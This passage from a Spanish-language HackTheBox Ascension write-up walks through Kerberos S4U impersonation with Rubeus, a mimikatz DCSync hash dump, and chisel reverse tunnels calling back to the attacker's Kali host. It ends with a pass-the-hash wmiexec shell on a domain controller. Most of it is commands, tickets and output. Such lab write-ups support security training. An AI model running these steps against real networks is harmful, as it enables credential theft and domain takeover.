fDmV9zxop8bMDD/jWGGNmtYv1pIjHLIScm8geHwV4Nq5EuoOa/r/D2JOxXAFshbi7sEh5dRUW8YlMQ3KKR3Ohtmuas1yZgxsSZ/UvmdqCpcIUmN87ITV9gLO/3EWoc17ZzJp8F+POQ9Bec9H59QCVjwV086HU3Dr8RbEUX0wVqUGSGQuadpL4eVzCCu36qhFJXe8NgqygB9hv2JgpRoiLEL+OFR7n0OMMKNvDGwmyAO+dmUtN1rgezguM6CAOSNm1nU4W9uDQ/J0Zkgq37xNkynpviQgZWmUBEWrDb4o0LHy5YzJyt8ffO4H2mqALFTdnEV0LInzs4YWGBi1LsiJQholixRmUdCiCAlkixInL4cY5yqevIO1kOX4mocJNRuLk1jj9g7YfNsv8/Qc33z5mp2bQObM++T3x8fZlDJpVxFrnXrF5MOJjvPz8Vz8cgzV1f6JEa5+FCr7N6hmv9hNhtyp+HyXUAMOCJD2DX67JdvXcIk91o9GYAEvodTo3EzQxJcFTyTaOB2TCB1qADAgEAooHOBIHLfYHIMIHFoIHCMIG/MIG8oBswGaADAgERoRIEEIFsMHxovPcwATreO096C3WhExsRTUVHQUFJUkxJTkUuTE9DQUyiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBAJQAApREYDzIwMjMxMTE3MTE1NDA5WqYRGA8yMDIzMTExNzIxNTQwOVqoExsRTUVHQUFJUkxJTkUuTE9DQUypKDAmoAMCAQKhHzAdGwRDSUZTGxVEQzIubWVnYWFpcmxpbmUubG9jYWw= [+] Ticket successfully imported! |
Y verificamos el acceso
|
1 2 |
PS C:\Users\Administrator\documents> cd \\dc2.megaairline.local\c$ PS Microsoft.PowerShell.Core\FileSystem::\\dc2.megaairline.local\c$> c: |
Una vez validado, importamos de nuevo para darnos de alta en el ldap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
PS C:\Users\Administrator\documents> .\Rubeus.exe s4u /domain:megaairline.local /dc:DC2 /user:privesc /rc4:FA7665BEFE243A5079D1C602F5524CE0 /impersonateuser:administrator /msdsspn:CIFS/DC2.megaairline.local /altservice:LDAP /ptt /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: S4U [*] Using rc4_hmac hash: FA7665BEFE243A5079D1C602F5524CE0 [*] Building AS-REQ (w/ preauth) for: 'megaairline.local\privesc' [*] Using domain controller: fe80::a506:e90d:2d4f:37d5%14:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIFHjCCBRqgAwIBBaEDAgEWooIEJTCCBCFhggQdMIIEGaADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMoiYwJKADAgECoR0wGxsGa3JidGd0GxFtZWdhYWlybGluZS5sb2NhbKOCA9MwggPPoAMCARKhAwIBAqKCA8EEggO9RISuP9IXCUu25EWfPIic5N5u6zr91cI+hvqUp8Um1CsQsGrV+cUqt0+2sKXlc564ne2Opu+XGZ1gQbgv2d4klxtTsVJkLY5rqCH699XBt/OEk1DNiMy1VkFicDwEOj9PgseNpG2HSw4AdGNW0xKXZOq9kkUR3ZV4DOnZjSg5yBJu3kDXXFzOPMZmO/tqfcAFbGiKkH7BhwQ+HCvlZMWPUCu4z06I9lnObm0a17x+4CQbqkalGmNBJygWPhbt5B799+nvpLz4R76Te4JCSwzFQpzZ3wpONiZsZ47+UFqOt9o6nLswnBv0aAfgzSdNKO2/EQsf9jst2lSccJtJ3e+ly2lkZH6ZeHZhmWfsilvAl5Wd0pWUywkIOmVaR+hwT5BvyprussItXRzovYT6YNyTLSQu+9QLcqDAW1wOJVEiUTWSOhvOw87OCOegu8+fKHh9A3HVmj5w/0r/GF8fdSnustinijCxwykTfzpDVIymUgVLV021AVFsrfgTbre6xX3WDBSu7/D8m0ENOV67GcBLNklYZAYtmmsX2z/2Ouj1tzNz/UbIoq1+HYBYqmS1MF8fYQIOtTwwG1qmn63x8eRQHEnB0c7RiRCvqdpeQ1yvvvvQnboHmwrDKQzW1ivmLNay+/N9OtUB07wqb7sSbk+tB7vk0PE2PN0pb/GOrm8ZTPtjlrHfuDySgfehdw5lzZ8BByO2eXoOMSNglMOKg5JAgqcCupu/4a7oKBG15nrxSc6QXClf9/NHKClmx+spSvB74fYJ0JEdNt8R3/vhJ/0rCLvotmdcl8QOunNkaj3GEQJjX6to/YzJA+IAQaIKVHERFeN0EqGWGtdazuQyWm6eU+6GBJ+Kyp/SNgyUcOKQTi0wKx7pUnBk/b/qjj1Jc4YNdSriY0TD4macj2LieErXfJneXDFVuTrBTBJ8YfeFhL8U7GuQb36OWGHnV9kN/t9lA2KwvOF9IZVlWvPUj1VdDKnih/8p+2r0L7jfQMnBk9bp7cORQXbwLb1g8vdMBkjiThewnRV3MeGcCFU7bWnpwtVE5IIH/I17sjgYjioyRWT/4ss2o12iNwuTLgdD0Tn2ESrOdXCOksLmuiqDJ4vP0BsssqQB6aQjnOOzQMPbyHETCwXJxkwGSK2vcMvDs6///cXs8jdGUjYCyu5A4PMF8t5dIqCUu0KJpRyDCM+/5811OwurZeAsoIsxNt9FXWYP0sQFW6dyinLcnPfBQIm3j5lLrhpeGrYntufgXJYMjwuEVM+W8eGZ9cp0xjz7o4HkMIHhoAMCAQCigdkEgdZ9gdMwgdCggc0wgcowgcegGzAZoAMCARehEgQQXzlC/yaTwZOif3dVzMNktaETGxFNRUdBQUlSTElORS5MT0NBTKIUMBKgAwIBAaELMAkbB3ByaXZlc2OjBwMFAEDhAAClERgPMjAyMzExMTcxMTU2MTNaphEYDzIwMjMxMTE3MjE1NjEzWqcRGA8yMDIzMTEyNDExNTYxM1qoExsRTUVHQUFJUkxJTkUuTE9DQUypJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEW1lZ2FhaXJsaW5lLmxvY2Fs [*] Action: S4U [*] Building S4U2self request for: 'privesc@MEGAAIRLINE.LOCAL' [*] Using domain controller: DC2 (fe80::a506:e90d:2d4f:37d5%14) [*] Sending S4U2self request to fe80::a506:e90d:2d4f:37d5%14:88 [+] S4U2self success! [*] Got a TGS for 'administrator' to 'privesc@MEGAAIRLINE.LOCAL' [*] base64(ticket.kirbi): doIFdDCCBXCgAwIBBaEDAgEWooIEmjCCBJZhggSSMIIEjqADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMohQwEqADAgEBoQswCRsHcHJpdmVzY6OCBFowggRWoAMCARehAwIBAaKCBEgEggRE+PDTKacMaBV8ORbxDb3Q7cuz1y11iZnTmlHyXuh26f1xgqLsoMgTEuJxugngOAej6qVGnFOolhSupRLWbt7Vv+JEWh6TnhXJaMO811DKFwnZHLxrtn6uXOYMP+vJxjJo0Dyl2pt12TCg+wx/COTB5itqmZmGWtSuvrvVvmoRZUvh4wDNUEUrmApGjV/vktWGbjRPWVRkBB+L7ahEBZ8sEPzxyTWclNbOhGTNkyfDu5/KcaZM7+9io8mZqeWirypqMixRMDw65FeoC+ZKumTT4XHvUqGe2yCtc0/iHM5vUEE+dvksoKVue97IOGhRXZ7KBk75rpN94WHMPJUvZ2uqDCyqNErOk2Ryi+A7JIB4FyAcX+XspIWeABv/1XfqWOqwh0y/O6uDttNMiRzBod9fo87ew0rBqVN+jixOWYJ/JH9nFIBNCPWF1Rte6lfqXXi4eQ4zMNE9dJIB7ZRZQ2znNYAhPJBr9jNXM1JIY3bE3Y9LoOrzu+7SUU6PLSZh0C+/Y5pOPNpVCPxTHnYPEcL6z+2LbZuOitUglatpfLhWlEX3hAfOH/MD8cnEgeqj8KTp/CjZwOSy0PMwDGPQIgwTKstZRsx8ijg5WuJYD769lcrhMWwPVaDZnYvPtbhVETdAwVHlSrpx1P15ab1xfa2tRrWmM08YTWcztTHqzkXqtFpRcFwZjmieajz0YUHIacSVhyOiDJgl984rOyOZD04pvf+U4+alldth/gPfXXL41swxLuklUGuXPGvVqp0bahUUxZ907mWMla6V+Sh52WfjwgJ2cJkDHXbgtIwuQ96uYZ18FJ7+k515XQQ/vekvbI0bbPlgOEBa1JMSISzgZx2bevpGLai8l2SgDO1gGPFnQj5lGLtkMke8Xt0VmvQ9RIE4vyZ16CTz5wToBcW48HVQcp/E6/pxlMMzX6ZZzDmI01pwYtQxphdE/BVmYWLTCH6yQH35fiPVVfHTYMY6nhX2mnbKoaeGF4mCwSK1nWFH30bR8MQJznw/o4aN3Tpwlg2JgEgfs6WNdMztljXPDqFmxwiY4/x0rQaxm6zgByU5x8Wl4hoQ1DEDvMX3CVou4JRN3cbgElVMTuYu0mAmo73gu/e7EjVG37bkPKULMrIbdqUDS/Ey03qcaaP4L2eCl+sZq6F9ZmjdIVSLS+hbOESeVCyArau19OE5CY0bPt54wul9UPJArogqYQQT0UufhYGn4IZ5UFQa7qkIOHiDIb/DTxZbsu2yDvkMfmTF+LpGv3Ono20t4vMi03mbJhQhypxlGz+Q3xHnUcUo+/ccsyxJYkXGVYQ14Fk+5MqGQBxQLbZYu98uNIo5SqrvLZdjBXwGQPEX7n42uRIZI67uQglGcRcpmXa6YnF4cs4THmmN8SE8vLtYRkpTJ4kAE9oS01sz/UgFNxiXAkoGP3C0x7Rc02Xbut5lrbMQMA1pyfhECRLChtx6o4HFMIHCoAMCAQCigboEgbd9gbQwgbGgga4wgaswgaigGzAZoAMCARehEgQQVQ9Labgebt9/OqFPQ28c/6ETGxFNRUdBQUlSTElORS5MT0NBTKIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEAhAAClERgPMjAyMzExMTcxMTU2MTNaphEYDzIwMjMxMTE3MjE1NjEzWqgTGxFNRUdBQUlSTElORS5MT0NBTKkUMBKgAwIBAaELMAkbB3ByaXZlc2M= [*] Impersonating user 'administrator' to target SPN 'CIFS/DC2.megaairline.local' [*] Final ticket will be for the alternate service 'LDAP' [*] Building S4U2proxy request for service: 'CIFS/DC2.megaairline.local' [*] Using domain controller: DC2 (fe80::a506:e90d:2d4f:37d5%14) [*] Sending S4U2proxy request to domain controller fe80::a506:e90d:2d4f:37d5%14:88 [+] S4U2proxy success! [*] Substituting alternative service name 'LDAP' [*] base64(ticket.kirbi) for SPN 'LDAP/DC2.megaairline.local': doIGWDCCBlSgAwIBBaEDAgEWooIFajCCBWZhggViMIIFXqADAgEFoRMbEU1FR0FBSVJMSU5FLkxPQ0FMoigwJqADAgECoR8wHRsETERBUBsVREMyLm1lZ2FhaXJsaW5lLmxvY2Fso4IFFjCCBRKgAwIBEqEDAgEHooIFBASCBQAkiZNzWljq7+YexeQS5e4DvpikXUSWf18xQJ8aqah/CpVNv8jPaTCdgRitAG6NBahm1rJBw1o3zzzhl0xRL+qv+0pQPe70QoYfeoYyCVczL3OQHKCUwT2K6JW4KrvaJhNovDbLfGyDuMd36c5yRKMiBksuHWXTNBq9HrUshJb7Lv5Cyp46SK9YH3g2vjRTRhpINVI2ugyBZpK6Wlp8SMvvEt9IyewSgZ20DyfBgcRR9qgxya0TKuuSCQVZLKQx7s7+oAW6oS79jlbsjA8EGegyTDUgSaqvHhw+vNjUxePXCoplAr0BhcXT/DcD51bzWhYFTtGT6NLapWz8THxTCZ0ZDI0SgrDnF09Abbj1psppB238F+r8jU5Ph+CEJdUaDnmsCubYbBxl3NLsmSTdVvcI3CP+TOlGHyRfspZGBiPeTZnR1j2xZW4hIWiJ222OKzJCpf2qiwBF+4SMYCQapqQR0hh7JMKx9msiVf79qlNt0dQfR9EePCZQR4qnq71CvKNCukwIs7xwnSpG3D+Bf9AjqTQq2jQL1nys85vX/OvWs/FtwalSRHXORJb46s9uPWvzvBq/V05yIerM9d8UTKcygIQYBMVZVvcT/TIZqd9e//QmC+dm42C/jHM8u7PlmbUwQlHOioR6MI2PlAl+6AO4EvUlfkYJIE66iMs+h/+FqDrA+KVoYaP2QbwbHEUUwjOsmY+vnm2D11yhH9ARRBDh+t+n5aK0GOqxMYSBfYSLNlsjSRdI0FgHZuqt2Hp2SzMhzHtpWFDXIsTEUDdMhRltJEPPjEt2RDrsnSIe1Ag/V9vl1ZQnr87Th3+6MAuuDok7UVcfpTY01Ho5e0iHy2JbRbumm+SqoIj1Zi0FFMmzJBptZB83wthXQ4qD46uc83nErfGlBaMnr/C0aVN+8osYi0BGCyY9QzFHFNjCX/iCwXjx9ly22UR8+TuyhwJpS7VT/aZ6XqSMpLPiybEWv7K41GON2LBLazVPrRbSwIaI2iDVW1P5yyML2N1/+sXGjIhJZ6wJ8OntK1F1PCJDzL9LzD4os8XcWpF50TWehsCztAaxIN8LcpMu3e2NDSe/Rfh0ow5wWQN2G8zJ6FeEDaBjwwJiyVBwMSO1ORbDsPjGzgn/KIevA9G+dl1TmZpG5irLqG926s6GEnsOmE2ABMDMadTMuIL5N2HQLOXrPCdhIMt8TcWbjozmYEqwGTfbc5xIPL76KhsZuguP31hMQe/hZFX19lGWImyEfqpLkt5SnJ700cMg0VSfG61kPiAgWosplORUNPtET1Mfl/0X0QHa1TlSXT5sCVeXmLsord8neh7zS/x9F5Ikn7Wqn3MNiuIgNg/svE4l/TD31A2aTySmW0Nafunx8seh8b89NIr7BQ9r6yDixYWLAZvbKu/UaxtR+yBr0rVbjikAkqnXMAvR2cL+VpOhEQDamnTDG3aZ87pAZNQczetNIVcqfiDoBeC4c1hfiHtb2fIpIUUAjgTGUJGvefrYTiz0H09aDFKxb4TQlrjjZP+2NwunipLulWno2OWGuRXIleQzLkuZA130i2WZ5m0W0MHOGnIzKXxanCnUmCSf1jreRhPv7uPDKiCWNyHMH+Y5cTIMdtxyBtUWYO91vRFuxcq9fNQRMFhsHRSGVGqBSzlyyQ2scNfIu+BrXmukG4axvpqoHOoIeW0D75nM7aj6ZKbIMXqZFodpF6OB2TCB1qADAgEAooHOBIHLfYHIMIHFoIHCMIG/MIG8oBswGaADAgERoRIEEG874X0abb7mAQHt31rPPMGhExsRTUVHQUFJUkxJTkUuTE9DQUyiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBAJQAApREYDzIwMjMxMTE3MTE1NjEzWqYRGA8yMDIzMTExNzIxNTYxM1qoExsRTUVHQUFJUkxJTkUuTE9DQUypKDAmoAMCAQKhHzAdGwRMREFQGxVEQzIubWVnYWFpcmxpbmUubG9jYWw= [+] Ticket successfully imported! |
Y finalmente hacemos un dumpeo del dcsync con mimikatz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PS C:\Users\Administrator\documents> .\mimikatz.exe "log dcsync.txt" "lsadump::dcsync /domain:megaairline.local /user:administrator /all /cvs" "exit" .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # log dcsync.txt Using 'dcsync.txt' for logfile : OK mimikatz(commandline) # lsadump::dcsync /domain:megaairline.local /user:administrator /all /cvs [DC] 'megaairline.local' will be the domain [DC] 'DC2.megaairline.local' will be the DC server [DC] Exporting domain 'megaairline.local' ... ... mimikatz(commandline) # exit Bye! |
Y ya tenemos los hashes, aunque vamos a necesitar realizar un segundo salto para poder llegar al DC2 desde nuestro kali y ejecutar wmiexec.
Por lo tanto, en este caso, vamos a usar chisel para hacer el doble salto, así que levantamos un primer servidor en nuestro kali
|
1 2 3 4 |
$ ./chisel server --socks5 -p 9001 --reverse 2023/11/17 11:08:27 server: Reverse tunnelling enabled 2023/11/17 11:08:27 server: Fingerprint 8cUo0uKBKssjGCZau7kwe7NqVI0p3Twn3p7Fa3qsIQg= 2023/11/17 11:08:27 server: Listening on http://0.0.0.0:9001 |
Y lanzamos el cliente desde WEB01
|
1 2 3 4 |
*Evil-WinRM* PS C:\Users\billing_user\Documents> .\chisel.exe client 10.10.14.12:9001 R:9999:socks chisel.exe : 2023/11/17 04:26:43 client: Connecting to ws://10.10.14.12:9001 + CategoryInfo : NotSpecified: (2023/11/17 04:2...0.10.14.12:9001:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError |
Para el segundo salto lanzamos un servidor desde WEB01
|
1 2 3 4 |
*Evil-WinRM* PS C:\Users\billing_user\Documents> .\chisel.exe server -p 9002 --reverse --socks5 chisel.exe : 2023/11/17 04:29:01 server: Reverse tunnelling enabled + CategoryInfo : NotSpecified: (2023/11/17 04:2...nelling enabled:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError |
Y el cliente desde DC1
|
1 2 3 4 |
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\chisel.exe client 192.168.10.39:9002 R:8888:socks chisel.exe : 2023/11/17 04:28:27 client: Connecting to ws://192.168.10.39:9002 + CategoryInfo : NotSpecified: (2023/11/17 04:2....168.10.39:9002:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError |
Configuramos proxychains en nuestro kali para la comunicación con ambos
|
1 2 3 |
$ tail -2 /etc/proxychains.conf socks5 127.0.0.1 9999 socks5 127.0.0.1 8888 |
Y finalmente ejecutamos wmiexec para conectar al DC2 con los hashes descubiertos y obtener la última flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ proxychains4 impacket-wmiexec -hashes :674f1a5c73f4faad8ddbf7f3bf86db60 MEGAAIRLINE/administrator@192.168.11.201 -shell-type powershell [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.11.0 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:9999 ... 127.0.0.1:8888 ... 192.168.11.201:445 ... OK [*] SMBv3.0 dialect used [proxychains] Strict chain ... 127.0.0.1:9999 ... 127.0.0.1:8888 ... 192.168.11.201:135 ... OK [proxychains] Strict chain ... 127.0.0.1:9999 ... 127.0.0.1:8888 ... 192.168.11.201:49668 ... OK [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands PS C:\> whoami megaairline\administrator PS C:\> hostname DC2 PS C:\> type c:\users\administrator\desktop\flag.txt ASCENSION{g0t_XXXXXXXXXXXXXXXXXXX} PS C:\> |
Y podemos dar por finalizado este endgame.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
